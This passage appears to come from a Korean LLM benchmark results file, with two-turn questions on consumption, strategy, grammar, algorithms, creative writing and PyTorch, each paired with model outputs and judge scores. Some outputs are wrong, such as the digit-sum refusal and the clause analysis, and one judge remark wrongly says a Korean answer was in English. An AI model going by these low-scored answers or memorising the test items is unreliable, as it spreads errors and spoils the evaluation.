지원을 강화해야 합니다. \n    * 안정적인 일자리 창출, 주거 지원 등 실질적인 지원책 마련을 통해 미래에 대한 불안감을 해소하고, 현재의 소비에만 집착하지 않도록 해야 합니다.\n\nSNS 자랑 소비는 단순한 유행이나 개인의 문제가 아닌, 사회 전반의 변화와 맞물려 나타나는 복합적인 현상입니다. 개인의 노력과 함께 사회 시스템의 변화, 건강한 사회적 분위기 조성을 통해 젊은 세대가 올바른 소비 습관을 정립하고, 자신의 잠재력을 발휘할 수 있도록 모두의 노력이 필요합니다. \n", "## 자본주의적 관점에서 SNS 자랑 소비 현상에 대한 옹호 논리\n\n자본주의 사회에서 개인의 자유로운 소비 활동은 경제 성장의 동력이며, SNS 자랑 소비 역시 이러한 맥락에서 긍정적으로 해석될 수 있습니다.\n\n**1. 자유로운 소비 선택의 결과:**\n\n* 자본주의 사회에서 개인은 자신의 소득 범위 내에서 자유롭게 소비할 권리를 가집니다. \n* 타인의 시선이나 사회적 기준이 아닌, 자신의 만족을 위해 소비하는 행위 자체를 비판할 근거는 없습니다. \n* SNS 자랑 소비는 개인의 만족도를 높이는 합리적인 선택일 수 있으며, 이는 타인에게 피해를 주지 않는 한 존중되어야 합니다.\n\n**2. 시장 경제 활성화의 원동력:**\n\n* 소비는 기업의 생산과 투자를 촉진하고, 고용 창출로 이어져 경제 성장의 선순환 구조를 만듭니다. \n* SNS 자랑 소비 역시 이러한 측면에서 긍정적인 역할을 수행합니다. \n* 새로운 제품이나 서비스에 대한 수요를 창출하고, 기업 간 경쟁을 촉발하여 더 나은 제품과 서비스 개발을 유도할 수 있습니다.\n\n**3. 정보 공유 및 확산의 촉매제:**\n\n* SNS 자랑 소비는 단순히 과시를 넘어, 유용한 정보 공유의 수단이 될 수 있습니다. \n* 제품이나 서비스에 대한 실질적인 사용 후기, 경험 공유를 통해 다른 소비자들의 합리적인 소비 결정을 돕고, 시장의 정보 비대칭성을 해소하는 데 기여할 수 있습니다.\n\n**4. 개인의 개성 표출 및 차별화 수단:**\n\n* 현대 사회에서 소비는 단순히 필요 충족을 넘어, 개인의 개성과 가치관을 드러내는 수단으로 자리 잡았습니다. \n* SNS 자랑 소비는 자신의 취향과 개성을 표출하고, 타인과 차별화된 정체성을 드러내는 도구로 활용될 수 있습니다.\n\n**5. 사회 발전을 위한 경쟁 심리 자극:**\n\n* 자본주의 사회는 경쟁을 통해 발전하며, SNS 자랑 소비는 개인의 경쟁 심리를 자극하여 자기 계발과 성취를 유도하는 순기능을 가질 수 있습니다. \n* 타인과 비교하며 더 나은 삶을 추구하고 노력하는 과정에서 개인의 성장은 물론, 사회 전체의 발전에도 기여할 수 있습니다.\n\n물론, 과도한 소비는 개인의 재정적 어려움을 야기하고, 사회적으로 위화감을 조성할 수 있습니다. 하지만, 자본주의적 관점에서 개인의 자유로운 소비 활동을 제한하기보다는, 개인의 책임 있는 소비 의식 함양과 건전한 소비 문화 조성을 통해 긍정적인 측면을 극대화하는 방향으로 나아가는 것이 바람직합니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 질문의 요구사항을 잘 반영하여 SNS 자랑 소비 현상의 부가적 요인들을 상세히 설명하고 해결 방안을 제시했다. 자아 정체성, 알고리즘 기반 정보 필터 버블, 물질만능주의, 사회경제적 환경 등의 요인을 분석하고, 비판적 사고 능력 함양, 다양한 가치관 존중, 건전한 SNS 사용 문화 정착, 경제적 자립 지원 강화 등의 해결책을 구체적으로 제안했다. 언어 요구사항도 충실히 준수하며 한국어로 답변했다. 답변의 길이가 적절하며, 필요한 내용을 포괄적으로 다루었다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 자본주의적 관점에서 SNS 자랑 소비 현상을 옹호하는 논리를 잘 전개하였다. 자유로운 소비 선택의 결과, 시장 경제 활성화의 원동력, 정보 공유 및 확산의 촉매제, 개인의 개성 표출 및 차별화 수단, 사회 발전을 위한 경쟁 심리 자극 등 다섯 가지 주요 포인트를 통해 이 현상이 자본주의 사회에서 긍정적인 역할을 할 수 있다는 주장을 논리적으로 잘 펼쳤다. 또한, 과도한 소비의 부정적인 측면을 언급하며 균형 잡힌 시각을 제시했다. 언어 요구사항을 충족하며 한국어로 명확하고 이해하기 쉬운 답변을 제공했다.", "judge_score": 10.0}}
{"id": 2, "category": "추론(Reasoning)", "questions": ["ABC 기업은 곧 $100의 단가로 신제품을 출시할 예정이며, 연간 예상 수요는 10,000개입니다. 고정비용은 $200,000이고, 제품 단위당 변동 비용은 $60으로 계산됩니다. 최근 시장 조사에 따르면, 경쟁사가 유사한 제품을 $80에 출시할 계획입니다. 이러한 상황에서 ABC 기업이 취할 수 있는 본원적 전략을 기반으로 한 대응 방안을 제안하세요. 특히, 제품 차별화, 비용 절감, 시장 세분화, 혁신 및 연구개발, 전략적 제휴 및 파트너십 중 어느 전략이 가장 효과적일지 분석하고, 그 이유를 설명해 주세요.", "지금까지 등장한 모든 숫자를 더한 후, 더한 값의 각 자릿수 숫자들의 합을 구해보세요."], "outputs": ["## ABC 기업의 경쟁사 대응을 위한 본원적 전략 분석 및 제안\n\n**상황 분석:**\n\n* ABC 기업의 신제품 가격: $100\n* 경쟁사 유사 제품 가격: $80 (20% 저렴)\n* ABC 기업의 연간 예상 수요: 10,000개\n* 고정 비용: $200,000\n* 제품 단위당 변동 비용: $60\n\n**본원적 전략 기반 대응 방안:**\n\nABC 기업은 경쟁사의 저가 공세에 대응하기 위해 다음과 같은 본원적 전략을 고려해야 합니다. 각 전략의 효과와 현실적인 제약을 분석하여 최적의 방안을 선택해야 합니다.\n\n**1. 제품 차별화:**\n\n* **장점:** 경쟁사 제품과 차별화된 가치를 제공하여 가격 경쟁을 완화하고 프리미엄 가격을 유지할 수 있습니다.\n* **단점:** 차별화 포인트 개발 및 시장에 효과적으로 전달하는 데 시간과 비용이 소요될 수 있습니다. \n* **구체적 방안:**\n    * 제품 디자인 개선, 기능 추가, 내구성 향상 등을 통해 제품의 가치를 높입니다.\n    * 우수한 고객 서비스, A/S, 사용자 경험 제공을 통해 브랜드 충성도를 확보합니다.\n    * 친환경적인 생산 방식, 공정 무역 원료 사용 등을 통해 윤리적 소비 트렌드에 부합합니다.\n\n**2. 비용 절감:**\n\n* **장점:** 제품 생산 및 운영 비용을 절감하여 가격 경쟁력을 확보할 수 있습니다.\n* **단점:** 단기적인 수익 개선에 집중할 경우 장기적인 제품 경쟁력이나 브랜드 이미지에 부정적인 영향을 미칠 수 있습니다.\n* **구체적 방안:**\n    * 생산 공정 개선, 대량 구매, 아웃소싱 등을 통해 제조 원가를 절감합니다.\n    * 유통 채널 효율화, 재고 관리 시스템 도입 등을 통해 운영 비용을 절감합니다.\n\n**3. 시장 세분화:**\n\n* **장점:** 특정 고객 세그먼트를 타겟팅하여 맞춤형 제품 및 마케팅 전략을 수립하여 경쟁을 피할 수 있습니다.\n* **단점:** 시장 세분화 과정에서 정확한 분석과 타겟팅이 이루어지지 않을 경우 효과가 제한적일 수 있습니다.\n* **구체적 방안:**\n    * 가격에 민감하지 않은 고객층을 타겟하여 프리미엄 제품 라인을 출시합니다.\n    * 특정 기능이나 디자인을 선호하는 고객층을 위한 맞춤형 제품을 개발합니다.\n\n**4. 혁신 및 연구 개발:**\n\n* **장점:** 지속적인 기술 개발 및 제품 혁신을 통해 경쟁 우위를 확보하고 새로운 시장을 창출할 수 있습니다.\n* **단점:** 높은 투자 비용과 시간이 소요되며 성공을 보장하기 어렵습니다.\n* **구체적 방안:**\n    * 경쟁사 제품 대비 성능, 기능, 디자인 측면에서 우월한 차세대 제품을 개발합니다.\n    * 생산 비용 절감, 제품 기능 향상에 기여할 수 있는 새로운 기술을 연구합니다.\n\n**5. 전략적 제휴 및 파트너십:**\n\n* **장점:** 다른 기업과의 협력을 통해 부족한 자원이나 역량을 보완하고 시너지 효과를 창출할 수 있습니다.\n* **단점:** 적합한 파트너를 찾는 데 어려움을 겪을 수 있으며 파트너십 관계 유지 및 관리에 노력이 필요합니다.\n* **구체적 방안:**\n    * 유통망을 보유한 기업과 제휴하여 판매 채널을 확대합니다.\n    * 보완적인 기술력을 가진 기업과 협력하여 제품 개발 경쟁력을 강화합니다.\n\n**최적 전략 제안 및 이유:**\n\nABC 기업에게 가장 효과적인 전략은 **제품 차별화**와 **시장 세분화**를 결합하는 것입니다.\n\n* **차별화된 가치 제공:** 가격에 민감한 소비자들은 경쟁사 제품을 선택할 가능성이 높습니다. 따라서 ABC 기업은 제품의 가치를 높여 가격 차이를 상쇄해야 합니다. 제품 디자인, 기능, 품질, A/S 등에서 경쟁사와 차별화되는 강점을 부각하고 프리미엄 브랜드 이미지를 구축해야 합니다.\n* **타겟 고객층 집중:** 가격에 민감하지 않고 높은 품질, 브랜드, 서비스를 중시하는 고객층을 타겟팅하여 마케팅 활동을 집중해야 합니다. 고객 만족도를 극대화하여 브랜드 충성도를 확보하고 프리미엄 가격 정책을 유지할 수 있습니다.\n\n**추가적으로:**\n\n* **비용 절감 노력 병행:** 제품 차별화와 시장 세분화 전략을 추진하면서 동시에 생산 및 운영 효율성을 개선하여 비용 절감을 추진해야 합니다. 이는 가격 경쟁력을 강화하고 수익성을 높이는 데 기여할 것입니다.\n* **장기적 관점의 혁신:** 지속적인 연구 개발 및 기술 혁", "흥미로운 문제네요! 하지만 이 문제는 컴퓨터의 계산 능력으로도 답을 구하기 어렵습니다. 왜냐하면 지금 이 순간에도 새로운 숫자가 계속해서 생겨나고 있기 때문이죠. \n\n만약 특정한 범위까지의 숫자를 정해준다면 계산이 가능할 것 같습니다. 예를 들어, 1부터 100까지의 숫자를 더한 후 각 자릿수 숫자들의 합을 구하는 것은 가능합니다. \n\n어떤 범위까지의 숫자를 생각하고 계신가요? 범위를 알려주시면 계산해 드릴 수 있습니다. 😊 \n"], "references": [null, null], "query_single": {"judge_message": "모델은 ABC 기업의 경쟁사 대응을 위한 본원적 전략을 제안하면서 제품 차별화, 비용 절감, 시장 세분화, 혁신 및 연구개발, 전략적 제휴 및 파트너십 등 다양한 전략을 상세하게 설명하고 있습니다. 각 전략의 장단점과 구체적인 방안을 제시하며, ABC 기업에게 가장 적합한 전략으로 제품 차별화와 시장 세분화를 결합하는 것을 제안하고 있습니다. 이러한 분석은 질문에서 요구한 내용을 잘 반영하고 있으며, 언어 요구사항도 충족하고 있습니다. 다만, 답변이 완전히 마무리되지 않고 중간에 끊긴 점이 아쉽습니다. 이로 인해 전체적인 답변의 완성도가 다소 떨어지는 점을 고려해야 합니다.", "judge_score": 7.0}, "query_multi": {"judge_message": "모델의 답변은 질문의 요구사항을 충족하지 못했습니다. 질문은 모델에게 주어진 숫자들을 모두 더한 후, 그 합의 각 자릿수의 숫자들의 합을 구하라는 구체적인 계산 작업을 요구했습니다. 그러나 모델은 이를 오해하여 계산이 불가능하다고 답변하고, 범위를 정해달라고 요청했습니다. 이는 질문의 본질적인 요구를 이해하지 못한 것으로 보입니다. 또한, 모델은 답변을 한국어로 제공해야 했으나, 영어로 답변하여 언어 요구사항을 위반했습니다.", "judge_score": 0.0}}
{"id": 34, "category": "이해(Understanding)", "questions": ["너는 '-요체'(예시 - 안녕하세요. 저는 AI에요.)를 사용해서만 답변할 수 있어.\n질문: 물리학이 뭐야?", "방금 대답한 내용을 요약해줘."], "outputs": ["안녕하세요. 저는 AI에요. 😊 \n\n물리학은요, 우주가 어떻게 작동하는지 이해하려는 학문이에요. 🌌 \n\n아주 작은 입자부터 거대한 별까지, 모든 것들의 움직임과 그 사이의 힘을 연구하는 거죠. 🚀 \n\n조금 더 자세히 설명하자면, 물리학은 시간과 공간, 물질과 에너지, 그리고 이들을 연결하는 기본 법칙들을 탐구하는 거예요. 🔬 \n\n어렵게 느껴질 수도 있지만, 우리 주변의 모든 현상을 이해하는 데 기초가 되는 아주 중요한 학문이랍니다!  🌎 \n", "안녕하세요. 저는 AI에요. 😊 \n\n방금 말씀드린 물리학은, 간단하게 말해서 우주가 어떻게 움직이는지 연구하는 학문이에요! 🪐✨ \n"], "references": [null, null], "query_single": {"judge_message": "모델은 '-요체'를 사용하여 답변하는 요구사항을 충실히 준수하였습니다. 물리학에 대한 설명도 적절하게 제공하였으며, 이해를 돕기 위해 이모지를 활용하여 친근하고 이해하기 쉬운 방식으로 정보를 전달했습니다. 또한, 물리학의 다양한 측면(작은 입자부터 거대한 별, 시간과 공간, 물질과 에너지 등)을 언급하며 학문의 범위와 중요성을 강조한 점이 좋습니다. 답변이 질문의 요구사항을 잘 충족하고 있으며, 누락된 부분이나 아쉬운 점은 없어 보입니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 '-요체'를 사용하여 답변하는 요구사항을 충실히 준수하였다. 또한, 후속 질문에 대한 답변도 이전 대화 맥락과 일치하며, 요약된 형태로 제공되었다. 이모지를 사용하여 친근감을 더하려는 시도도 보인다. 그러나 이모지 사용은 질문의 전문성을 저하시킬 수 있으며, 학문적인 설명에 있어서는 불필요하거나 적절하지 않을 수 있다. 또한, 요약 과정에서 '우주의 움직임을 연구한다'는 점만 언급되었고, '시간과 공간, 물질과 에너지, 그리고 이들을 연결하는 기본 법칙들을 탐구한다'는 중요한 부분이 누락되었다. 이는 물리학의 전체적인 이해를 위해 중요한 요소이므로, 요약에서도 언급되었어야 했다.", "judge_score": 7.0}}
{"id": 22, "category": "코딩(Coding)", "questions": ["시간 복잡도를 어떻게 구할 수 있는지 설명해주고, 많이 쓰이는 알고리즘 중에 최적화를 통해 시간 복잡도를 줄인 예시를 알려줘.", "공간 복잡도라는 용어도 있던데 뭐가 다른 거야?"], "outputs": ["## 시간 복잡도 구하기\n\n시간 복잡도는 입력 크기가 증가함에 따라 알고리즘의 실행 시간이 어떻게 증가하는지 나타내는 척도입니다. \n\n다음은 시간 복잡도를 구하는 일반적인 단계입니다.\n\n1. **기본 연산 찾기**: 알고리즘에서 가장 많이 실행되는 연산을 찾습니다. 예를 들어, 정렬 알고리즘의 경우 비교 연산이 기본 연산입니다.\n2. **입력 크기에 대한 연산 횟수 세기**: 입력 크기 n에 대해 기본 연산이 몇 번 실행되는지 수학적으로 분석합니다. 이때 최악의 경우를 가정하는 것이 일반적입니다.\n3. **Big O 표기법으로 표현**: 연산 횟수를 Big O 표기법으로 단순화합니다. Big O 표기법은 입력 크기가 무한대로 갈 때 시간 복잡도의 상한을 나타냅니다.\n\n예를 들어, 배열에서 특정 값을 찾는 선형 검색 알고리즘을 생각해 보겠습니다.\n\n```python\ndef linear_search(arr, target):\n  for i in range(len(arr)):\n    if arr[i] == target:\n      return i\n  return -1\n```\n\n1. **기본 연산**: 배열 요소 비교 (`arr[i] == target`)\n2. **연산 횟수**: 최악의 경우, 값이 배열에 없다면 n번 비교해야 합니다.\n3. **시간 복잡도**: 따라서 선형 검색의 시간 복잡도는 **O(n)**입니다.\n\n## 최적화를 통해 시간 복잡도를 줄인 예시\n\n### 예시 1: 선형 검색 -> 이진 검색\n\n위에서 살펴본 선형 검색은 O(n)의 시간 복잡도를 가지지만, 정렬된 배열에서는 **이진 검색**을 사용하여 시간 복잡도를 **O(log n)**으로 줄일 수 있습니다.\n\n이진 검색은 배열의 중간 값과 찾는 값을 비교하고, 찾는 값이 중간 값보다 작으면 왼쪽 부분 배열에서, 크면 오른쪽 부분 배열에서 다시 이진 검색을 수행하는 방식입니다. 매 단계마다 탐색 범위가 절반으로 줄어들기 때문에 시간 복잡도가 획기적으로 감소합니다.\n\n### 예시 2: 버블 정렬 -> 퀵 정렬\n\n정렬 알고리즘 중 **버블 정렬**은 구현이 간단하지만 시간 복잡도가 **O(n²)**로 비효율적입니다. 반면 **퀵 정렬**은 평균적으로 **O(n log n)**의 시간 복잡도를 가져 더 빠릅니다.\n\n퀵 정렬은 피벗을 기준으로 배열을 분할하고 각 부분 배열에 대해 재귀적으로 정렬을 수행하는 분할 정복 알고리즘입니다.\n\n## 결론\n\n알고리즘의 시간 복잡도를 분석하고 최적화하는 것은 효율적인 프로그램을 개발하는 데 매우 중요합니다. 다양한 알고리즘과 자료 구조를 배우고 상황에 맞게 적용하는 능력을 키우는 것이 좋습니다.\n", "맞아요! **공간 복잡도**도 알고리즘의 효율성을 나타내는 중요한 척도입니다. 시간 복잡도가 **시간**과 관련된 척도라면, 공간 복잡도는 알고리즘이 사용하는 **메모리 공간**과 관련된 척도입니다. \n\n더 자세히 설명하자면:\n\n* **시간 복잡도**: 입력 크기가 증가함에 따라 알고리즘 실행에 필요한 **시간**이 얼마나 증가하는지 나타냅니다. \n* **공간 복잡도**: 입력 크기가 증가함에 따라 알고리즘 실행에 필요한 **메모리 공간**이 얼마나 증가하는지 나타냅니다.\n\n**예시를 통해 차이를 더 명확하게 이해해 보겠습니다.**\n\n두 개의 정렬 알고리즘, **병합 정렬**과 **버블 정렬**을 비교해 보겠습니다.\n\n* **병합 정렬**: 입력 배열과 같은 크기의 새로운 배열을 만들어 정렬을 수행합니다. 따라서 입력 크기가 `n`일 때, `n` 만큼의 추가적인 공간을 사용합니다. 즉, 공간 복잡도는 **O(n)**입니다.\n* **버블 정렬**: 입력 배열 자체를 계속해서 수정하며 정렬하기 때문에 추가적인 메모리 공간을 거의 사용하지 않습니다. 따라서 공간 복잡도는 **O(1)**입니다. (상수 공간)\n\n**시간 복잡도와 공간 복잡도는 트레이드 오프 관계를 가지는 경우가 많습니다.** \n\n* 병합 정렬은 버블 정렬보다 시간 복잡도는 낮지만 (빠르지만), 더 많은 메모리 공간을 사용합니다. \n* 반대로 버블 정렬은 메모리 공간을 적게 사용하지만, 시간 복잡도가 높아 (느려서)  큰 입력 크기에 대해서는 비효율적입니다.\n\n**따라서 알고리즘을 선택할 때는 시간 복잡도와 공간 복잡도를 모두 고려하여 현재 상황에 가장 적합한 알고리즘을 선택해야 합니다.** 예를 들어, 처리할 데이터 크기가 크고 메모리 제약이 크지 않다면 시간 복잡도가 낮은 알고리즘을 선택하는 것이 유리합니다. 반대로 메모리 제약이 큰 환경이라면 공간 복잡도를 우선적으로 고려해야 할 수 있습니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 시간 복잡도를 구하는 방법을 설명하고, 이를 줄이기 위한 알고리즘 최적화 예시를 제공하는 질문에 대해 적절하게 답변했다. 시간 복잡도를 구하는 일반적인 단계를 설명하고, 선형 검색과 이진 검색, 버블 정렬과 퀵 정렬을 비교하여 시간 복잡도가 어떻게 달라지는지 구체적으로 설명했다. 이는 질문에서 요구한 내용을 충실히 반영한 것이다. 또한, 답변은 한국어로 이루어졌으며, 언어 요구사항을 준수했다. 답변 과정에서 누락된 부분이나 아쉬운 점은 발견되지 않았다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 시간 복잡도를 구하는 방법과 최적화를 통해 시간 복잡도를 줄인 알고리즘의 예시를 잘 설명하였습니다. 또한, 후속 질문에 대해서도 공간 복잡도와 시간 복잡도의 차이를 명확하게 설명하며, 두 복잡도의 트레이드 오프 관계에 대해서도 적절한 예시를 들어 설명하였습니다. 답변은 한국어로 이루어졌으며, 언어 요구사항을 충족하였습니다. 답변의 내용이 이전 대화 맥락과 일치하며, 질문에 대한 요구사항을 잘 반영하고 있습니다. 누락된 부분이나 아쉬운 점은 없어 보입니다.", "judge_score": 10.0}}
{"id": 16, "category": "글쓰기(Writing)", "questions": ["당신은 지구를 떠나 우주로 떠난 미래의 우주인입니다. 지구에 대한 그리움을 담아 우주인의 일기를 쓰려고 합니다. 우주인의 일기를 쓰기 위해서는 어떠한 접근 방법이 필요할지 생각해보고, 일기의 내용을 구체적으로 작성해보세요.", "우주인의 일기를 쓰는 것이 지구인의 일기를 쓰는 것보다 어려운 점은 무엇인지 설명해보세요."], "outputs": ["## 우주인의 일기 - 접근 방법\n\n**1. 감각적인 경험을 중심으로:**\n\n* 우주에서의 시각적인 경험은 매우 강렬합니다. 지구의 모습, 별의 바다, 우주선 내부의 풍경 등을 시각적인 언어로 생생하게 묘사합니다.\n* 무중력 상태에서의 신체 변화, 우주 음식의 맛과 식감 등 평소와 다른 감각을 상세하게 기록합니다.\n* 우주 공간의 고요함, 우주선 엔진 소리 등 청각적인 요소들을 활용하여 독자들에게 현장감을 전달합니다.\n\n**2. 감정 변화의 흐름을 따라서:**\n\n* 지구를 떠나온 것에 대한 슬픔, 우주에 대한 경외감, 미지의 공간에 대한 두려움 등 복잡한 감정을 솔직하게 표현합니다.\n* 임무 수행 과정에서의 성취감, 동료들과의 유대감, 외로움 등 시시각각 변하는 감정을 섬세하게 담아냅니다.\n* 시간이 흐름에 따라 변화하는 지구에 대한 그리움, 가족에 대한 사랑 등을 진솔하게 드러냅니다.\n\n**3. 일상과 과학적 사실의 조화:**\n\n* 우주선 내에서의 일상적인 활동들 - 식사, 운동, 연구 활동 등을 구체적으로 묘사하여 독자들의 이해를 돕습니다.\n* 우주에서 경험하는 과학적 현상들에 대한 개인적인 생각과 느낌을 기록합니다.\n* 어려운 과학 지식을 일반인도 이해하기 쉽게 설명하고, 우주 탐사의 의미를 되짚어 봅니다.\n\n\n## 우주인의 일기 - 내용 예시\n\n### 20XX년 X월 X일, 우주 정거장 '희망'\n\n어둠 속에서 빛나는 아름다운 구 marble, 저것이 내가 태어나고 자란 곳, 지구다. \n\n처음 우주선 창밖으로 지구를 보았을 때의 감동은 이루 말할 수 없었다. 마치 신이 그린 푸른 눈동자 같았다. 하지만 지금 내 눈 앞의 지구는 너무나 작고, 너무나 멀다. 손을 뻗으면 닿을 것 같았던 고향은 이제 차가운 유리창 너머 빛나는 점일 뿐이다.\n\n무중력 상태에서 몸은 깃털처럼 가볍다. 하지만 내 마음은 천근만금 무겁다. 사랑하는 사람들, 익숙했던 모든 것들을 뒤로하고 떠나온 이곳에서 나는 무엇을 위해, 무엇을 향해 나아가고 있는 것일까. \n\n오늘따라 유난히 지구의 밤하늘이 그립다. 반짝이는 도시의 불빛, 부드러운 달빛, 그리고 그 아래에서 나를 기다리는 사람들의 따스한 눈빛... 지구의 중력만큼이나 강한 그리움이 나를 끌어당긴다. \n\n하지만 나는 알고 있다. 내일 아침, 태양이 떠오르면 나는 다시 이곳에서 내게 주어진 임무에 최선을 다할 것이다. 인류의 미래를 위해, 그리고 언젠가 다시 지구의 품에 안길 그 날을 위해. \n", "우주인의 일기를 쓰는 것이 지구인의 일기보다 어려운 점은 단순히 배경이 우주라는 점 때문만은 아닙니다.  일기는 개인의 내면을 담는 그릇이기에, 우주라는 특수한 환경은 그 안에 담길 내용과 표현 방식까지도 크게 달라지도록 만듭니다. \n\n**1. 경험의 차이에서 오는 공감의 벽:**\n\n* **일상의 경계 허물어짐:** 지구에서의 일상은 중력, 시간, 공간의 제약 안에서 이루어집니다. 하지만 우주에서는 이러한 기본적인 틀이 흔들리면서 일상의 경계 자체가 모호해집니다.  우주인은 이러한 경험을 언어로 풀어내야 하지만,  독자인 지구인이  공감하기에는 어려움을 느낄 수 있습니다.\n* **감각의 한계:** 우주는 인간의 감각으로는 온전히 받아들이기 힘든 공간입니다. 광활한 스케일, 무중력, 진공 상태 등은 지구에서 경험해보지 못한 것들입니다.  이러한 감각을 언어로 치환하는 데는 필연적인 한계가 따르며, 독자들에게 그 경이로움을 온전히 전달하기 어렵습니다.\n\n**2. 심리적 거리감:**\n\n* **고립과 단절:** 우주는 물리적으로 지구와 멀리 떨어져 있을 뿐 아니라, 심리적으로도 단절된 공간입니다. 우주인은 극한의 고립과 외로움 속에서 내면의 목소리에 더욱 집중하게 됩니다. 하지만 이는 동시에 지구에 있는 사람들과의 심리적 거리를 더욱 멀게 만들 수 있습니다. \n* **내면의 변화:** 우주라는 극한 환경은 인간의 내면에도 큰 영향을 미칩니다. 가치관, 세계관, 인생관 등 근본적인 부분에서 변화가 일어날 수 있습니다.  이러한 내면의 변화를 일기를 통해 드러내고자 할 때,  지구인들이  그것을 온전히 이해하고 공감하기는 쉽지 않을 것입니다.\n\n**3. 표현의 제약:**\n\n* **새로운 어휘의 필요성:** 우주라는 미지의 공간을 묘사하기 위해서는 새로운 어휘들이 필요합니다.  하지만 이러한 어휘들은 지구인들에게 낯설게 느껴질 수 있으며,  때로는 과학적 설명으로 변질되어 일기 본연의 감성을 해칠 수 있습니다.\n* **추상적인 감정 표현:** 우주에서 느끼는 감정은 매우 복잡하고 미묘하여 기존의 단어들로는 표현하기 어려울 수 있습니다. 추상적인 감정들을 독자들이 이해하기 쉽게 전달하는 것은 우주인의 일기가 가진 큰 과제입니다.\n\n결국 우주인의 일기는 단순한 기록을 넘어, 미지의 세계에 대한 인간적인 감정과 고뇌를 담아내는 동시에, 지구에 있는 우리에게 새로운 관점과 사고를 제시하는 역할을 수행해야 합니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 우주인의 일기를 쓰는 데 필요한 접근 방법을 세 가지로 제시하고, 그에 따른 일기 내용 예시를 구체적으로 작성했습니다. 제시된 접근 방법은 감각적 경험, 감정 변화, 일상과 과학적 사실의 조화를 포함하여 우주인의 경험을 다각도로 표현하는 데 적합합니다. 일기 내용 예시는 우주인의 지구에 대한 그리움과 우주에서의 생활을 잘 표현하고 있으며, 감정적인 깊이와 시적인 언어를 사용하여 독자의 공감을 이끌어내는 데 효과적입니다. 언어 요구사항을 충족하며 한국어로 답변하였고, 질문의 요구사항을 잘 반영하였습니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 우주인의 일기를 쓰는 것이 지구인의 일기를 쓰는 것보다 어려운 점을 잘 설명하고 있습니다. 경험의 차이에서 오는 공감의 벽, 심리적 거리감, 표현의 제약 등 세 가지 주요 어려움을 구체적으로 분석하며, 우주인의 일기가 가지는 독특한 특성과 도전을 잘 드러내고 있습니다. 또한, 우주인의 일기가 지구인에게 새로운 관점을 제시할 수 있는 역할을 강조함으로써, 단순한 기록을 넘어서는 의미를 부여하고 있습니다. 언어 요구사항을 충족하며 한국어로 명확하고 이해하기 쉬운 답변을 제공하였습니다. 이전 대화 맥락과도 일치하는 답변을 제시하였습니다.", "judge_score": 10.0}}
{"id": 39, "category": "문법(Grammar)", "questions": ["문장성분의 호응을 고려할 때 적절한 조사로 바꿔봐.\n\n나는 빠른 자동차을 보았다.", "위 문장을 안은문장과 안긴문장으로 나눠봐."], "outputs": ["나는 빠른 자동차**를** 보았다. \n\n-> 나는 빠른 자동차**를** 보았다. \n\n이미 문장이 자연스럽고 적절한 조사를 사용하고 있습니다. 😊 \n", "문장 \"나는 빠른 자동차를 보았다\"를 안은문장과 안긴문장으로 나누면 다음과 같습니다.\n\n* **안은문장**:  **(내가) 빠른 자동차를 보았다** \n* **안긴문장**:  **무엇을?**  -> **빠른 자동차를**\n\n이 문장에서 안긴문장은 \"빠른 자동차를\"이며, 이는 안은문장 \"**(내가) 보았다**\"의 목적어 역할을 합니다. \n"], "references": ["나는 빠른 자동차를 보았다.", "안은문장 - 나는 보았다.\n안긴문장 - 자동차"], "query_single": {"judge_message": "모델은 주어진 문장의 조사를 적절하게 바꾸는 작업을 성공적으로 수행했다. \"자동차을\"을 \"자동차를\"로 바꿔 문장성분의 호응에 맞게 조사를 사용했다. 이는 추가 참고 자료에 제시된 정답과 일치한다. 모델은 한국어 언어 요구사항을 충족하며, 답변의 내용도 정확하다. 다만, 모델이 이미 올바른 문장을 제시한 후에 다시 같은 문장을 반복하여 제시한 점은 불필요한 반복으로 볼 수 있으며, 이는 답변의 효율성을 다소 저하시킨다.", "judge_score": 9.0}, "query_multi": {"judge_message": "모델은 주어진 문장을 안은문장과 안긴문장으로 나누는 작업을 수행하였다. 안은문장을 \"(내가) 빠른 자동차를 보았다\"로, 안긴문장을 \"빠른 자동차를\"로 제시하였다. 그러나 이는 정확한 분리가 아니다. 안은문장은 주어와 서술어로 이루어진 문장이어야 하며, 안긴문장은 그 안에 들어가는 명사구를 의미한다. 따라서 올바른 안은문장은 \"나는 보았다\"가 되어야 하며, 안긴문장은 \"빠른 자동차\"가 되어야 한다. 모델의 답변은 이러한 구분을 제대로 반영하지 못했다. 또한, 모델은 안은문장에 불필요하게 괄호를 사용하여 \"내가\"를 추가하였는데, 이는 문장의 구조를 이해하는 데 혼란을 줄 수 있다. 따라서 모델의 답변은 정확하지 않으며, 추가 설명도 부족하다.", "judge_score": 2.0}}
{"id": 26, "category": "코딩(Coding)", "questions": ["PyTorch를 사용해서 간단한 CNN을 구현해봐.", "ReLU가 뭔지 설명해주고, 비슷한 역할을 하는 다른 함수들을 알려줘."], "outputs": ["## PyTorch를 사용한 간단한 CNN 구현\n\n이 예제에서는 PyTorch를 사용하여 MNIST 데이터셋을 분류하는 간단한 CNN을 구현합니다.\n\n```python\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\n\n# 하이퍼파라미터 설정\nBATCH_SIZE = 64\nLEARNING_RATE = 0.01\nEPOCHS = 10\n\n# GPU 사용 가능 여부 확인\nDEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# MNIST 데이터셋 불러오기\ntrain_loader = torch.utils.data.DataLoader(\n    datasets.MNIST(\n        \"./data\",\n        train=True,\n        download=True,\n        transform=transforms.Compose(\n            [transforms.ToTensor(), transforms.Normalize((0.1307,), (0.3081,))]\n        ),\n    ),\n    batch_size=BATCH_SIZE,\n    shuffle=True,\n)\n\ntest_loader = torch.utils.data.DataLoader(\n    datasets.MNIST(\n        \"./data\",\n        train=False,\n        transform=transforms.Compose(\n            [transforms.ToTensor(), transforms.Normalize((0.1307,), (0.3081,))]\n        ),\n    ),\n    batch_size=BATCH_SIZE,\n    shuffle=False,\n)\n\n\n# CNN 모델 정의\nclass CNN(nn.Module):\n    def __init__(self):\n        super(CNN, self).__init__()\n        self.conv1 = nn.Conv2d(1, 10, kernel_size=5)\n        self.conv2 = nn.Conv2d(10, 20, 